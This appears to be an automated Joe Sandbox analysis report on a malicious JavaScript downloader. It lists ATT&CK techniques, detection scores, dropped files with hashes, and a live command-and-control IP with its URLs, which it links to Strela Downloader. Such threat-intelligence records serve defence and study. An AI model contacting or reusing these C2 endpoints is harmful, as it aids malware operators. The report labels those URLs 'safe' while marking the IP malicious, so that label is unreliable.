Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1141011204217106657.js	3%	Virustotal		Browse
1141011204217106657.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spaceT	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2697968060.000002148F4C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000007.00000002.1471211574.00000195E48EE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/spaceT	net.exe, 00000007.00000002.1471211574.00000195E48B8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1471211574.00000195E48B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1478543476.0000021494C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588172
Start date and time:	2025-01-10 22:12:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1141011204217106657.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 34.237.241.83, 172.202.163.200, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:13:30	API Interceptor	27x Sleep call for process: powershell.exe modified
16:13:35	API Interceptor	1x Sleep call for process: net.exe modified
16:13:36	API Interceptor	2x Sleep call for process: svchost.exe modified
16:13:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2832817159901627624.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4036231441630930293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49322603928416037
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta4:cJhXC9lHmutpJyiRDeJ/aUKrDgnmy
MD5:	56800AF2ACA12419FF2D1AAEF6C2E1E6
SHA1:	4CC0A2659008BAA570FE27E98321FB075529167E
SHA-256:	C12637B0852838C2D8133C99AFBEE21AE099DD508C3284AAB9623933328C3DDC
SHA-512:	A320DB216A95F76852104BD6157648CE72B862024D9D7F188D79A340A6DD6BBCC1209D3A3BB88568157B9DDBA860DA1147B0B388D53377C03EF309CFFE763BE7
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd0ca8deb, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217209876662295
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:bazaNvFv8V2UW/DLzN/w4wZi
MD5:	6E9B42EE49566A63D0FD263B58275AF9
SHA1:	FC292E4908260F290F0618F1E0D7B4FD543B02DD
SHA-256:	5DEDACC1F40DFE9159B32CCD643AAF4092EDB6BE47D38AC0B55BE58DEDB60102
SHA-512:	7B9E8DC0508FEE952A8A812A9E881F66FD77847ECD6F4739563AA513CB32626BED085554AC13099353CE79C8C22FA9E9496CA543848F83904403ECE44DBA6CC7
Malicious:	false
Preview:	...... ...............X\...;...{......................p.D..........{}.$....}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................>.b.$....}..................B(..$....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08157366528488419
Encrypted:	false
SSDEEP:	3:KimltlKYe2tds6/fgsCrZClW/tdvkL//oll+SHY/Xl+/rQLve:KimltlKzIdxfgs3Gf8DAAS4M
MD5:	C3D9734D1963E74C8768FBE6F3FB6988
SHA1:	0F8DA51700F5C77018B1150D1F34FD81F7585ADB
SHA-256:	994B6B820F696A424274ED1EE454BD4CF6FB9AC739D5680B03BC281A66353BFA
SHA-512:	29F83E0C68BB467A1208CB945DA7DB1E6A0D45E554445339F8F3A228EF19ADB264F409D0E8FEA3E47E282A6E152C231B8CDCEF34247DCD250BC4F0F8D5E45F33
Malicious:	false
Preview:	.........................................;...{..$....}.......{}..............{}......{}.vv_Q.....{}.................B(..$....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1862245791765105
Encrypted:	false
SSDEEP:	6:iO4xqYnVq2PqLTwi2nKuAl9OmbnIFUtSxqcMdYgZmwsxqcMdYIkwOqLTwi2nKuAR:7yqYnVv8wZHAahFUt4qcMCg/WqcMCI5t
MD5:	CFF6C49F04C58D631EAE93E92222E839
SHA1:	BA66A870D91451F94F0A0CF3EEAC2366ACCDD707
SHA-256:	CCE5B64685D25823B6B054E2AC7923729A2E7ABD09C14256F3C906B7C4520B2A
SHA-512:	EB12DAD4BBE054886669B06D0C553B7B6CEB162A7462BFCF1FCDDAD94D5FD3AC065E67AD874FD6F4A88864F35206D99A98AF9FAB1E0EAC7B3CD74C52AE7D3A34
Malicious:	false
Preview:	2025/01/10-16:13:36.153 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:13:36.157 1f80 Recovering log #3.2025/01/10-16:13:36.157 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.1862245791765105
Encrypted:	false
SSDEEP:	6:iO4xqYnVq2PqLTwi2nKuAl9OmbnIFUtSxqcMdYgZmwsxqcMdYIkwOqLTwi2nKuAR:7yqYnVv8wZHAahFUt4qcMCg/WqcMCI5t
MD5:	CFF6C49F04C58D631EAE93E92222E839
SHA1:	BA66A870D91451F94F0A0CF3EEAC2366ACCDD707
SHA-256:	CCE5B64685D25823B6B054E2AC7923729A2E7ABD09C14256F3C906B7C4520B2A
SHA-512:	EB12DAD4BBE054886669B06D0C553B7B6CEB162A7462BFCF1FCDDAD94D5FD3AC065E67AD874FD6F4A88864F35206D99A98AF9FAB1E0EAC7B3CD74C52AE7D3A34
Malicious:	false
Preview:	2025/01/10-16:13:36.153 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:13:36.157 1f80 Recovering log #3.2025/01/10-16:13:36.157 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.2120346206398525
Encrypted:	false
SSDEEP:	6:iO4xqo+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSxqUnjZZmwsxqUsPkwOqLTwi2nKuA:7yqo+v8wZHAa8uFUt4qy9/WqnP5TwZHA
MD5:	49F1972EA52E9FF1074F494B9B702B6D
SHA1:	771E73CF7234BC4242B3A574DF8B10EF1FFCCDB0
SHA-256:	8C27F40C4DA3E7A5577563A1EBE6DF5F264D58BDD54636AC4E972447DEFBF425
SHA-512:	3FF3DE089FEA828661938FEA078806A37B3C304581CB529084A5B53AB74BBDF4107EF8201B10E62D5B7D78F22B1119AC6AA5C4AEF6BFA5038E2B273D3D3DE0CC
Malicious:	false
Preview:	2025/01/10-16:13:36.179 1984 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:13:36.180 1984 Recovering log #3.2025/01/10-16:13:36.181 1984 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.2120346206398525
Encrypted:	false
SSDEEP:	6:iO4xqo+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSxqUnjZZmwsxqUsPkwOqLTwi2nKuA:7yqo+v8wZHAa8uFUt4qy9/WqnP5TwZHA
MD5:	49F1972EA52E9FF1074F494B9B702B6D
SHA1:	771E73CF7234BC4242B3A574DF8B10EF1FFCCDB0
SHA-256:	8C27F40C4DA3E7A5577563A1EBE6DF5F264D58BDD54636AC4E972447DEFBF425
SHA-512:	3FF3DE089FEA828661938FEA078806A37B3C304581CB529084A5B53AB74BBDF4107EF8201B10E62D5B7D78F22B1119AC6AA5C4AEF6BFA5038E2B273D3D3DE0CC
Malicious:	false
Preview:	2025/01/10-16:13:36.179 1984 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:13:36.180 1984 Recovering log #3.2025/01/10-16:13:36.181 1984 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvsBdOg2HFcaq3QYiub5P7E4T3y:Y2sRdspdMHk3QYhbt7nby
MD5:	49501F96325DE50F0D4757E26E77A293
SHA1:	B511C0498BB6BF4C3CC434E0D71306A5748BE7F1
SHA-256:	F34AE66B42494C2C092302559B2F0E027D428178B1ED764E470F7CAD7CDABEF4
SHA-512:	371EFD649EE0AE216C263142C40E3FA3524A39D6671C21F6858C13B5EF8EA6744DDB907D04809B04B07805ADA78A2B434E583AEEB8878DAFABD2EA38EBDCABE5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103627164793","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124606},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d84b3af2-8c17-4542-820a-c80795111dac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969516568575897
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvsBdOg2HFcaq3QYiub5P7E4T3y:Y2sRdspdMHk3QYhbt7nby
MD5:	49501F96325DE50F0D4757E26E77A293
SHA1:	B511C0498BB6BF4C3CC434E0D71306A5748BE7F1
SHA-256:	F34AE66B42494C2C092302559B2F0E027D428178B1ED764E470F7CAD7CDABEF4
SHA-512:	371EFD649EE0AE216C263142C40E3FA3524A39D6671C21F6858C13B5EF8EA6744DDB907D04809B04B07805ADA78A2B434E583AEEB8878DAFABD2EA38EBDCABE5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381103627164793","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124606},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.222102289227337
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzxWW64Vg:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzxY
MD5:	AABBF4F5E18C544EA445FE3D3B92BDD5
SHA1:	6A71AB522685B8A8E1F7E38916D25DC3B0EE21B5
SHA-256:	1EEFCB39775DC4276898F6F41DA0B36AA53D843A19D86750F9F7817B22020188
SHA-512:	41A51074E313F2E32B309A1322B3C5AB1FC6CCA2F786B3DEEA9CE0375443FA8D44E153419A76F350B2B6A147F63D173160A598B738A3D00D3BD4177B35D26B13
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.218115595489559
Encrypted:	false
SSDEEP:	6:iO4xqqhq2PqLTwi2nKuAl9OmbzNMxIFUtSxqhZmwsxqsPkwOqLTwi2nKuAl9Ombg:7yqqhv8wZHAa8jFUt4qh/Wqc5TwZHAab
MD5:	EF6F19D7B402C07230FC719306D3CBAB
SHA1:	817AE0534FB20E7034304B23AA495093ED088E32
SHA-256:	68F033F3DCD3A1FA48212890CFC26AC7B8571F3BF33477D4DDAB23C5CE9153A6
SHA-512:	838D4963568BD04C369D57ADC237A4534B6FDF601AB73F4E302090B1BDD1C8B49AE85C58C43529270CF677ACB93B64398963DF1FC52A3638ACF8394AB0393E9D
Malicious:	false
Preview:	2025/01/10-16:13:36.561 1984 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:13:36.563 1984 Recovering log #3.2025/01/10-16:13:36.564 1984 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.218115595489559
Encrypted:	false
SSDEEP:	6:iO4xqqhq2PqLTwi2nKuAl9OmbzNMxIFUtSxqhZmwsxqsPkwOqLTwi2nKuAl9Ombg:7yqqhv8wZHAa8jFUt4qh/Wqc5TwZHAab
MD5:	EF6F19D7B402C07230FC719306D3CBAB
SHA1:	817AE0534FB20E7034304B23AA495093ED088E32
SHA-256:	68F033F3DCD3A1FA48212890CFC26AC7B8571F3BF33477D4DDAB23C5CE9153A6
SHA-512:	838D4963568BD04C369D57ADC237A4534B6FDF601AB73F4E302090B1BDD1C8B49AE85C58C43529270CF677ACB93B64398963DF1FC52A3638ACF8394AB0393E9D
Malicious:	false
Preview:	2025/01/10-16:13:36.561 1984 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:13:36.563 1984 Recovering log #3.2025/01/10-16:13:36.564 1984 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438399954064718
Encrypted:	false
SSDEEP:	384:ye+ci5GxiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:p9urVgazUpUTTGt
MD5:	E84170056BCE76F9092078091ED64A19
SHA1:	28E8F33EBFD92D01B8A425EE80867C77E1943F21
SHA-256:	358A4A267812E00CA0CF233A652AEAAAEFF60116BC3037E0241EDF2D8644AB01
SHA-512:	28764B1347C03458D777F8B18848A9ACBD6AA99124A7E93E374CD938C68332649064628F88A126BC0B0874BA2FD5C2186E3881FFB1CA6AAACCE2BEE85ED9587D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766608792635927
Encrypted:	false
SSDEEP:	48:7MQJioyV6ioyMoy1C7oy16oy1sKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1Oz:7HJu6gXXjBiHb9IVXEBodRBkA
MD5:	3A9AE7BE4DE31230551EAA6E5C1A52AF
SHA1:	9951A16CFE47D82425A4C78BF7327EB72565395B
SHA-256:	802C959E5DB159C42DB4F956BD4EF07C68FF6EB321FBDF62C71B2EA0452D24CC
SHA-512:	396B45E63F318D3F68D9423147DC197B7317415EDE8B359CB6CD4E508BAE8F3351618A0DAFF56A7C89721B7A04609471D7142184E398BD6EF03A496398C97188
Malicious:	false
Preview:	.... .c......e................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
